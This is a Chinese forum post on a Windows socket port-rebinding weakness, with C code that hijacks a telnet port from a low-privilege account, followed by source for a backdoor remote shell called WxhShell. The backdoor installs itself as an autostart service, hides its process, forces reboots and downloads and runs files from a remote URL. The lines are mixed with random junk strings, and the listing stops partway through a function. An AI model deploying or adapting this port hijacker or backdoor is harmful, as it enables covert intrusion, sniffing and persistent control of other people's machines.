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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: k>Qr 14F  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); V@K}'f~  
>}/"g x  
  saddr.sin_family = AF_INET; +* )Qi)  
Q_#X*I  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 3Pp*ID  
E4[\lX$J  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 9=I(AYG{m  
6#5@d^a  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 \o@b5z ]e  
9ffRY,1@  
  这意味着什么?意味着可以进行如下的攻击: nx,67u/Pb  
 N _r*Ig  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ap9eQsC  
,Ql3RO,  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) N[ArwV2O  
v.v3HB8p  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 n@g[VR2t  
W^&t8d2  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  {\ziy4<II  
4!6g[[| &J  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 wR/i+,K  
)11/BB\v  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 BoIe<{X(9  
7XWgY%G  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 qTyU1RU$9^  
^m8\fCA*  
  #include '7'cKp  
  #include \{+7`4g  
  #include m$hSL4 N  
  #include    O,JthlAV4  
  DWORD WINAPI ClientThread(LPVOID lpParam);   =OO_TPEZ  
  int main() kZGhE2np  
  { /IV:JVT  
  WORD wVersionRequested; x)vYc36H  
  DWORD ret; { Rw~G&vQ  
  WSADATA wsaData; 8gBqur{  
  BOOL val; +I\ bs.84  
  SOCKADDR_IN saddr; AD?^.<  
  SOCKADDR_IN scaddr; &[\rnJ?D  
  int err; -3_kS/  
  SOCKET s; eB$v'9S8/  
  SOCKET sc; OR"ni  
  int caddsize; [AX).b  
  HANDLE mt; #0Oqw=F  
  DWORD tid;    V|?  
  wVersionRequested = MAKEWORD( 2, 2 ); F<-Pbtw  
  err = WSAStartup( wVersionRequested, &wsaData ); n7<<}wcV  
  if ( err != 0 ) { L1C' V/g  
  printf("error!WSAStartup failed!\n"); [TO:- 8$.  
  return -1; 3y 3 U`Mo  
  } ~T4 =Id  
  saddr.sin_family = AF_INET; Z/x<U.B  
   *bRH,u  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ^QW%< X  
R!pV`N  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); "?qu(}|  
  saddr.sin_port = htons(23); 5-mJj&0:!  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) x=au.@psBS  
  { V`fh,(:  
  printf("error!socket failed!\n"); J;_JH lK  
  return -1; nVyb B~.=  
  } 9'5,V{pj  
  val = TRUE; `8'T*KU  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 Ha C?,  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) B~PF<8h5  
  { "F[VqqD  
  printf("error!setsockopt failed!\n"); l1W5pmhK]'  
  return -1; m_Fw ;s/9  
  } dEe/\i'r9  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; eIqj7UY_  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 DD3J2J  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 w@%W{aUC  
;:$Na=  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) ":-)mfgGU  
  { qo. 6T  
  ret=GetLastError(); p-(Z[G*  
  printf("error!bind failed!\n"); /{kyjf[o&*  
  return -1; *=|i"  
  } ^~`8 - TE  
  listen(s,2); P^h2w%6'  
  while(1) 7L-%5:1%  
  { x6)   
  caddsize = sizeof(scaddr); [Z5x_.k"I  
  //接受连接请求 +.lO8  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ` chf8  
  if(sc!=INVALID_SOCKET) y6PAXvv'{  
  { o$-8V:)6d  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); v\MH;DW^Z  
  if(mt==NULL) )E[5lD61  
  { n3|~X/I  
  printf("Thread Creat Failed!\n"); ZXU e4@qfl  
  break; l E&hw  
  } D 1hKjB&  
  } `jZX(H   
  CloseHandle(mt); +tV(8h4  
  } UxS;m4  
  closesocket(s); o"]eAQ  
  WSACleanup(); $&e(V6A@  
  return 0; xY~ DMcO?  
  }   BO9Z "|"  
  DWORD WINAPI ClientThread(LPVOID lpParam) Zi[)(agAT  
  { _ma4  
  SOCKET ss = (SOCKET)lpParam; Iiy:<c  
  SOCKET sc; ynDx'Q*N'  
  unsigned char buf[4096]; ,F-tvSc\Q  
  SOCKADDR_IN saddr; ?xf;#J+{8  
  long num; wl{p,[]  
  DWORD val; eh`V#%S=  
  DWORD ret; zPw R1>gL  
  //如果是隐藏端口应用的话,可以在此处加一些判断 "pWdz}!  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   AQiP2`?  
  saddr.sin_family = AF_INET; - 5k4vx N}  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); OUdeQO?  
  saddr.sin_port = htons(23); Ch.T} %  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) "=".ne  
  { E%;'3Qykva  
  printf("error!socket failed!\n"); &iGl)dDr  
  return -1; H]!y |p  
  } 9nG] .@ H  
  val = 100; vfbe=)}[  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) K4F!?#  
  { ~lF lv+,%  
  ret = GetLastError(); & 9]KkY=  
  return -1; t~a$|( 9  
  } .y0]( h  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) %zelpBu+  
  { NuooA  
  ret = GetLastError(); I+CQ,Zuf  
  return -1; XeB>V.<y  
  } A5`7o9  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) <eh(~  
  { xXx`a\i  
  printf("error!socket connect failed!\n"); h#n8mtt&i  
  closesocket(sc); ;OPCBdr  
  closesocket(ss); Z*TW;h0ZQ3  
  return -1; _kx  
  } EU@mrm?  
  while(1) <zf+Ii1:,  
  { y="SzPl  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 V%0.%/<#5  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 rgYuF,BT.  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 $HXB !$d  
  num = recv(ss,buf,4096,0); 0%qUTGj  
  if(num>0) (En\odbvt  
  send(sc,buf,num,0); ~r!5d@f.6  
  else if(num==0) -+9x 0-P  
  break; wrO>#`Z  
  num = recv(sc,buf,4096,0); vW{cB y  
  if(num>0) tT8jC:oVa  
  send(ss,buf,num,0); _$'Mx'IC=  
  else if(num==0) ^kl9U+  
  break; x<Zhj3  
  } 9kF#*  
  closesocket(ss); eb/V}%  
  closesocket(sc); fD~!t 8J  
  return 0 ; 38m%ifh)  
  } K8U Az"  
jzj{{D[^  
YDNqWP7s  
========================================================== osd^SnL1/5  
I1myuZ  
下边附上一个代码,,WXhSHELL _M&.kha  
bg,}J/  
========================================================== r9M={jC  
Z M+Hb_6f  
#include "stdafx.h" {a3kn\6H0  
ZmULy;{<)  
#include <stdio.h> `Q&] dE=  
#include <string.h> &1p8#i  
#include <windows.h> bNROXiX  
#include <winsock2.h> ,OKM\N ,  
#include <winsvc.h> yo*iv+l  
#include <urlmon.h> /,Rca1W  
nFfCw%T?  
#pragma comment (lib, "Ws2_32.lib") }91mQ`3  
#pragma comment (lib, "urlmon.lib") H<;Fb;b  
*!'&:  
#define MAX_USER   100 // 最大客户端连接数 mU=6"A0 U  
#define BUF_SOCK   200 // sock buffer |\a:]SlH  
#define KEY_BUFF   255 // 输入 buffer Xo@YTol  
nF'xV44"  
#define REBOOT     0   // 重启 >-w=7,?'?z  
#define SHUTDOWN   1   // 关机 BJ9sR.yX62  
h6h1.lZ  
#define DEF_PORT   5000 // 监听端口 u3wC}Zo  
;-?ZI$  
#define REG_LEN     16   // 注册表键长度 {}pqxouE  
#define SVC_LEN     80   // NT服务名长度 kppRQ Q*[  
+?iM$}8!U  
// 从dll定义API <s-@!8*(  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Uxemlp%%*  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 5b#6 Y  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); * |HZ&}  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);  j/9QV  
{% _j~  
// wxhshell配置信息 5(|M["KK~  
struct WSCFG { 5FSv"=  
  int ws_port;         // 监听端口 , Ln   
  char ws_passstr[REG_LEN]; // 口令 u- [t~-(a  
  int ws_autoins;       // 安装标记, 1=yes 0=no QWHy=(!  
  char ws_regname[REG_LEN]; // 注册表键名 ,GX~s5S8  
  char ws_svcname[REG_LEN]; // 服务名 @E}X-r.^f  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 +^kxFQ(:  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ,%h!%nz!  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 R9l7CJM@  
int ws_downexe;       // 下载执行标记, 1=yes 0=no "F"_G  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" >Mn>P!  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 {1MGb%xW  
uXLZtfu{  
}; bV`C;RPn  
_?s %MNaX  
// default Wxhshell configuration bw<w u}ED  
struct WSCFG wscfg={DEF_PORT, ^v!im\ r  
    "xuhuanlingzhe", DvX3/z#T  
    1, Iv(Qa6(  
    "Wxhshell", naI v=  
    "Wxhshell", 5$oewjLO  
            "WxhShell Service", YvruK: I  
    "Wrsky Windows CmdShell Service", V+qJrZ ,i  
    "Please Input Your Password: ", g6g$nY@Jm  
  1, hoR=%pC*  
  "http://www.wrsky.com/wxhshell.exe", 3l%,D: ?  
  "Wxhshell.exe" M{xVkXc>  
    }; 3fxNV<  
_E6} XNS  
// 消息定义模块 o}=.  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ?Hi}nsw  
char *msg_ws_prompt="\n\r? for help\n\r#>"; v'@b.R,  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; *sw-eyn(  
char *msg_ws_ext="\n\rExit."; ( f,J_  
char *msg_ws_end="\n\rQuit."; MdH97L)L.0  
char *msg_ws_boot="\n\rReboot..."; ]iDJ*!I  
char *msg_ws_poff="\n\rShutdown..."; uyNJN  
char *msg_ws_down="\n\rSave to "; Vd +Q:L  
<'[Ku;m  
char *msg_ws_err="\n\rErr!"; S9p?*  
char *msg_ws_ok="\n\rOK!"; h `ME(U~<<  
BMNr<P2li  
char ExeFile[MAX_PATH]; d9Z&qdxTKq  
int nUser = 0; _(6`{PWY  
HANDLE handles[MAX_USER]; ]G0dS Fh{j  
int OsIsNt; '_qQrP#  
rKzlK 'U  
SERVICE_STATUS       serviceStatus; P>Q{He:  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; %l} Q?Z  
0)AM-/"  
// 函数声明 BF36V\  
int Install(void); HK0::6n{  
int Uninstall(void); 's[BK/  
int DownloadFile(char *sURL, SOCKET wsh); t'R':+0Vf  
int Boot(int flag); t<sNc8x  
void HideProc(void); 3@)obb  
int GetOsVer(void); e40udLH~x  
int Wxhshell(SOCKET wsl); JoCA{Fa}  
void TalkWithClient(void *cs); ,;.B4  
int CmdShell(SOCKET sock); EqnpMHF  
int StartFromService(void); {pDTy7!Hs  
int StartWxhshell(LPSTR lpCmdLine); rLJ[FqS  
5Lsm_"0  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); [q-;/ed  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); o\ngR\>  
ZBX  
// 数据结构和表定义 3;a R\:p@w  
SERVICE_TABLE_ENTRY DispatchTable[] = P8wy*JvT  
{ z2w;oM$g  
{wscfg.ws_svcname, NTServiceMain}, 'y9*uT~  
{NULL, NULL} \sK:W|yy  
}; 5vTv$2@  
(=1q!c`  
// 自我安装 $n= O  
int Install(void) 5`{vE4A]q  
{ 7DtIVMiK  
  char svExeFile[MAX_PATH]; QjA&IZEC  
  HKEY key; -Z%F mv8  
  strcpy(svExeFile,ExeFile); u7;`4P:o@  
99e*]')A%  
// 如果是win9x系统,修改注册表设为自启动 XFW5AP  
if(!OsIsNt) { 4'SaEsA~  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { FY]pv6@  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 5Yi Z-CQ>  
  RegCloseKey(key); [pii  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 2sKG(^=Z  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); .^i<xY  
  RegCloseKey(key); :l+_ja&o  
  return 0; z%V*K  
    } DVI7]+=nV  
  } ITyzs4"VV  
} XHsd-  
else { }^"0T-ua  
1SW4Y  
// 如果是NT以上系统,安装为系统服务 |q;Al z{  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ^7uX$  
if (schSCManager!=0) SIq1X'7  
{ (w+%=z"M  
  SC_HANDLE schService = CreateService I:#Ok+   
  ( :pwa{P  
  schSCManager, |;P^clS3  
  wscfg.ws_svcname, 8xgJSk  
  wscfg.ws_svcdisp, q] ^,vei  
  SERVICE_ALL_ACCESS, {XtoiI  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ~r<p@k=.#0  
  SERVICE_AUTO_START, q7,^E`5EgU  
  SERVICE_ERROR_NORMAL, <_9!  
  svExeFile, vMhYpt?7\  
  NULL, :BZMnCfA  
  NULL, /D[dO6.  
  NULL, xf/m!b"p  
  NULL, CtM'L   
  NULL EX:{EmaT  
  ); gN?0m4[$i  
  if (schService!=0) lEHwZ<je  
  { /xySwSmh3  
  CloseServiceHandle(schService); 3 >|uF  
  CloseServiceHandle(schSCManager); -Q$b7*"z(  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); KAed!z9  
  strcat(svExeFile,wscfg.ws_svcname); :#{-RU@PS  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { (/K5!qh  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); D`Gt  
  RegCloseKey(key); EKuSnlTXba  
  return 0;  \~>e_;  
    } ExCM<$,  
  } WL l_'2h  
  CloseServiceHandle(schSCManager); -es"0wS<u  
} WfG(JJ  
} 'wZ_4XjD  
mc ZGg;3  
return 1; D{p5/#|r  
} dQ9 ah  
KCUU#t|8V\  
// 自我卸载 *| YU]b;W  
int Uninstall(void) sqpGrW.  
{ )11W)G`w  
  HKEY key; QR"bYQ  
6NX3"i0 eT  
if(!OsIsNt) { 0|XKd24BN  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { b`CWp;6Y  
  RegDeleteValue(key,wscfg.ws_regname); ; 0ko@ \Lq  
  RegCloseKey(key); %/T7Z; d  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { oG_C?(7>  
  RegDeleteValue(key,wscfg.ws_regname); QU T"z'  
  RegCloseKey(key); O*G1 QX  
  return 0; l~J*' m2  
  } IU#x[P!  
} 5ZK&fKeCF  
} /p)F>WR  
else { Zu21L3  
s+,&|;Q  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); m'x;,xfY&F  
if (schSCManager!=0) b,@aqu  
{ C>X|VP |C  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ]^ K;goQv  
  if (schService!=0) *HE^1IEl  
  { L8&D(wh/f  
  if(DeleteService(schService)!=0) { 8>NwCjN  
  CloseServiceHandle(schService); 3;_ n{&  
  CloseServiceHandle(schSCManager); qu~X.pW  
  return 0; oM,- VUr  
  } Izo!rC  
  CloseServiceHandle(schService); Z\? E3j  
  } 7I}P*%(f  
  CloseServiceHandle(schSCManager); `8:Kp  
} !tNd\ }@  
} i  sW\MB]  
<7 )Fh*W@  
return 1; NfzF.{nh  
} {]kaJ{U>  
:243H  
// 从指定url下载文件 "aq'R(/`c  
int DownloadFile(char *sURL, SOCKET wsh) j6g@tx^)'  
{ 27D!'S  
  HRESULT hr; w%a8XnW]1  
char seps[]= "/"; 3[IJhR[  
char *token; 7G9 3,dJ  
char *file; C#Bz >2;#  
char myURL[MAX_PATH]; p_2pU)%  
char myFILE[MAX_PATH]; g(hOg~S\E  
>v+jh(^  
strcpy(myURL,sURL); 0g=`DSC<(  
  token=strtok(myURL,seps); }|wv]U~  
  while(token!=NULL) 4n0xE[-  
  { K@u&(}  
    file=token; r"{<%e  
  token=strtok(NULL,seps); xJwG=$o  
  } 6^)}PX= *  
c EnkU]  
GetCurrentDirectory(MAX_PATH,myFILE); 3l1cyPv  
strcat(myFILE, "\\"); J CGC  
strcat(myFILE, file); .12aUXo(  
  send(wsh,myFILE,strlen(myFILE),0); , YW|n:X  
send(wsh,"...",3,0); rN/| (@  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 1zxq^BI  
  if(hr==S_OK) c64v,Hj9  
return 0; hJ;$A*Y  
else _D, ;MB&7  
return 1; O9M{  ).  
3gZ8.8q3  
} s +s" MI  
s)J(/  
// 系统电源模块 DKL@wr}8  
int Boot(int flag) ~Bi_7 Q  
{ c=O,;lWFqm  
  HANDLE hToken; nIk$7rGLB  
  TOKEN_PRIVILEGES tkp; 'tgKe!-@  
b7`D|7D  
  if(OsIsNt) { J3RB]O_  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); G6 0S|d  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); NpP')m!`}  
    tkp.PrivilegeCount = 1; }T2xXbU  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; =uHnRY  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Sjj>#}U  
if(flag==REBOOT) { =wWpP-J&  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) "r4AY  
  return 0; ;|T!#@j  
} F9"w6;hh  
else { _ gj&$zP  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) /^SAC%PD  
  return 0; !|hoYU>@2L  
} "I6P=]|b  
  } /*FH:T<V  
  else { uA t V".  
if(flag==REBOOT) { d[^KL;b?6  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) z4%uN |V  
  return 0; hXIro  
} H9XvO  
else { ~/pzxo$  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Qd_6)M-  
  return 0; Kb#4ILA  
} S^@S%Eg  
} !^#jwRpeN  
C@ZK~Y_g  
return 1; 96cJ8I8  
} {6;9b-a]  
{Bs~lC$  
// win9x进程隐藏模块 ia&AW  
void HideProc(void) F_iXd/  
{ 8I20*#  
GG064zPq7  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); wcSyw2D  
  if ( hKernel != NULL ) lz#GbXn.  
  { bK"SKV  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); /-_=nf}w  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); x5`br.b  
    FreeLibrary(hKernel); |:[tNs*,O  
  } +CH},@j  
K;?,FlH  
return; <~ad:[  
} `pf4X/Py  
6oaazB^L  
// 获取操作系统版本 h!~3Dw>,N  
int GetOsVer(void) o+`6LKg;  
{ l& 4,v  
  OSVERSIONINFO winfo; <U5wB]]  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); b5$Jf jI  
  GetVersionEx(&winfo); [yl sz?  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) nkxzk$  
  return 1; Hgeg@RP Q  
  else ORGD  
  return 0; >z;[2 n'  
} AqK z$  
fx=Awba  
// 客户端句柄模块 ,g-EW jN  
int Wxhshell(SOCKET wsl) 6R-&-4  
{ YBYZ=,"d  
  SOCKET wsh; K 8n4oz#z  
  struct sockaddr_in client; >EL)X #e  
  DWORD myID; hT$~ygQ  
qPB8O1fyU  
  while(nUser<MAX_USER) tO7v4  
{ LTNj| u  
  int nSize=sizeof(client); 3 !Sp0P  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); :q8b;*:  
  if(wsh==INVALID_SOCKET) return 1; 8h3=b[  
P 71(  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); IdYzgDH  
if(handles[nUser]==0) ] h-,o R?e  
  closesocket(wsh); q)H1pwxD  
else u p.Q>28r  
  nUser++; l Z#o+d2Y  
  } lzw3=H  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); bCref$|  
3iw{SEY  
  return 0; Nx{$}  
} ju}fL<<e  
<VD8bTk  
// 关闭 socket  tz#gClo  
void CloseIt(SOCKET wsh) mRB   
{ xe7O/',pa=  
closesocket(wsh); I1[g&9,  
nUser--; A7(hw~+@  
ExitThread(0); u` oq(?|  
} `D9]*c !mO  
:4~g;2oag  
// 客户端请求句柄 ^TMJ8` e  
void TalkWithClient(void *cs)  `:P  
{ [SJ6@q  
R@Gq)P9?  
  SOCKET wsh=(SOCKET)cs; &] \X]p  
  char pwd[SVC_LEN]; 4}`  
  char cmd[KEY_BUFF]; R'kyrEO  
char chr[1]; (D@A74q\'  
int i,j; /R>nr"  
MCU_Z[N#10  
  while (nUser < MAX_USER) { *~m+Nc`D,N  
8ElKD{.BU8  
if(wscfg.ws_passstr) {  Z%I  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ;'81jbh  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); f|y:vpd%  
  //ZeroMemory(pwd,KEY_BUFF); J=pztASt  
      i=0; i)#s.6.D>  
  while(i<SVC_LEN) { LL|7rS|o  
-n'F v@U  
  // 设置超时 )c l5B{1P  
  fd_set FdRead; Zy|Mz&  
  struct timeval TimeOut; sp@E8G%xO  
  FD_ZERO(&FdRead); ,K:ll4{b  
  FD_SET(wsh,&FdRead); #gm)dRKm%  
  TimeOut.tv_sec=8; kId n6 Wx,  
  TimeOut.tv_usec=0; A AHt218  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); .uNQBBNv  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); G_>#Js  
_+ .\@{c  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); -s6![eV  
  pwd=chr[0]; <hwy*uBrD  
  if(chr[0]==0xd || chr[0]==0xa) { ,39aF*r1Q  
  pwd=0; _EF&A-kX|u  
  break; Oy 2+b1{  
  } j5 g# M  
  i++; FQ>`{%>  
    } N}\[Gr  
q>w)"Dd  
  // 如果是非法用户,关闭 socket cBo{/Tn:  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); }K8/-d6  
} wvrrMGU)a  
7\ nf:.  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0);  9CCkqB/  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); R\XKMF3mN3  
CgzD$`~  
while(1) { y^]tahbo  
u_7~TE3W  
  ZeroMemory(cmd,KEY_BUFF); *>VVt8*Et  
_ Ro!"YVX  
      // 自动支持客户端 telnet标准   l2;CQ7  
  j=0; E~LT b) !  
  while(j<KEY_BUFF) { 9b?SHzAa  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); nenU)*o  
  cmd[j]=chr[0]; iS5W>1]  
  if(chr[0]==0xa || chr[0]==0xd) { kD bhu^~B  
  cmd[j]=0; {QCf}@_]h  
  break; d|T!v  
  } gocrjjAHk  
  j++; tK k#LWB  
    } ?BhMjsy.  
P>9aI/d9  
  // 下载文件 h^j?01*Et  
  if(strstr(cmd,"http://")) { 1^i Pji/  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); M>M`baM1  
  if(DownloadFile(cmd,wsh)) erVO|<%=R  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); EC|'l  
  else s}pIk.4ot!  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); D1nq2GwS  
  } w,R[C\#J  
  else { P;pl,~  
2< hAa9y  
    switch(cmd[0]) { 3BpZX`l*p  
  D~o$GW%  
  // 帮助 N41R  
  case '?': { <L&m4O#|  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); y<b{Ji e  
    break; sl2@umR7%(  
  } p">EHWc}D  
  // 安装 QMEcQV>  
  case 'i': { (|wz7 AY2  
    if(Install()) R0oKbs{  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); :{(w3<i  
    else $<ld3[l i  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ~^+0  
    break; W d0NT@  
    } \P1=5rP  
  // 卸载 qH['09/F6  
  case 'r': { *'"^NSJ  
    if(Uninstall()) |AC1\)2tT  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); '_b.\_s-d  
    else /*|oL# hK  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); fr!Pj(Q1  
    break; Py{ <bd  
    } (MHAJ]Rx  
  // 显示 wxhshell 所在路径 d6i6hcQE  
  case 'p': { cWajrLw  
    char svExeFile[MAX_PATH]; 1,5E `J  
    strcpy(svExeFile,"\n\r"); uytE^  
      strcat(svExeFile,ExeFile); Et_V,s<|  
        send(wsh,svExeFile,strlen(svExeFile),0); 0|; .6\  
    break; K!,<7[MBg  
    } U?.9D  
  // 重启 ^fz+41lE\  
  case 'b': { L],f3<  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); S(:l+JP  
    if(Boot(REBOOT)) t20PP4FWM  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^*\XgX  
    else { ?bw4~  
    closesocket(wsh); K R"M/#  
    ExitThread(0); ~H6r.:]  
    } _4cvX  
    break; <_(/X,kBK  
    } c)0amM  
  // 关机 $wYFEz  
  case 'd': { >hH0Q5aL  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ,ZS6jZ  
    if(Boot(SHUTDOWN)) pKS {6P  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ZtHm\VTS  
    else { ~zHg[X*  
    closesocket(wsh); upvS|KUil  
